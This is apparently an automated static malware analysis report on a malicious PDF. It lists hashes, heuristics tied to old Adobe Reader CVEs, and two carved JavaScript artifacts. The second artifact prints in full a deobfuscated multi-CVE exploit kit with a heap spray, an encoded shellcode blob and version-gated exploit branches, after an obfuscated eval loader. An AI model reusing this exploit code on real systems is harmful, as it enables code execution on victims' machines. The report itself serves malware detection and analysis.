Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae2beeb4b9c8d73b…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 49388029116f9820bc6cb6b69874604e SHA-1: e681c40745d6affa91013abd9797083981978037 SHA-256: ae2beeb4b9c8d73b909940b9c3e12436d80ef3a5839bf4dfe2e3a04bfc71efff
408 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB133 432 bytes
SHA-256: 861b512f5bfc78de5167ab420f03d2ec643911a17fe9d4a5be633640f1fb8f39
Preview script
First 1,000 lines of the extracted script
bqr='';
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
e('oal=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
mtlgx=e('String.fro'+oal.substr(1,9));
cpy = e(oal.substr(10)['rep'+'l'+('nsdnf','ace')](/u/g,','));
e('k=cpy.length');
for (i = 0; i < k; i+=2) {
	wwszk = cpy[i+1] + ('erybjkerl',cpy[i]);
	bqr += mtlgx(wwszk);
}
e(bqr);
legacy_pdfkit_stage_000.js deobfuscated-js metadata bmCharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: 9cd1dc354debb55f5b759a5320edfc473e584231f9e1a2b6b1b982a3432e16b7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u5c34%ue2aa%uc3fa%ue5e8%uffff%ub5ff%u5d50%u5c5c%udd02%u00b0%u5c5d%ud55c%ud1bb%u4c13%u33d1%u6d08%u0b87%u0f0d%u0f0f%u0f0f%u0f0f%u0f09%u340f%u5d58%u5c5c%u0a09%u340f%u3233%u5c5c%u2934%u302e%u0831%ud234%u5212%ub4b0%u5c14%u5c5c%ub40c%u5c20%u5c5c%u8ca3%u98df%u3454%ub313%u5913%ub40c%u5c30%u5c5c%u8ca3%u9cd9%u4b29%u0836%uaf05%u34f6%ua22e%u4aef%u41b4%u5c5c%u0c5c%u0db4%u5c5c%ua35c%u0f8c%ua236%ud534%u5d33%ub4e1%u5c54%u5c5c%ub40c%u5c60%u5c5c%u8ca3%u6d3c%u389c%u0cd7%ud76c%u500e%u0ed7%ud748%u742e%u44e5%u5c5c%u6d5c%u6da3%uf09c%u3d60%u5e20%u7c70%u939d%u5d51%ube9b%uddac%u07a3%u16e0%ud736%u4c1e%u4ed7%u8529%u18d5%u4078%u9f3d%ud73c%u7830%ud778%u6019%u08d7%u2459%ub65d%u16d7%ud744%u7c06%ub75d%u68bf%ud715%ud768%ub25d%ua36d%u9c6d%uf0a0%u9cd8%u5b28%u939d%u5d51%ub79b%u67a8%u7820%u2974%ud7bd%u7806%ub75d%ud73a%u1750%u06d7%u5d40%ud7b7%ud758%ub45d%u18d5%u4078%u9e3d%u5c54%ub3b4%ua3a2%u34a3%u2828%u662c%u7373%u3d38%u3333%u2e3a%u3f3d%u2e39%u3d3a%u282f%u3839%u3f72%u7226%u3f3f%u3873%u2c72%u2c34%u3a63%u6a61%u7a6d%u6139%u5c69';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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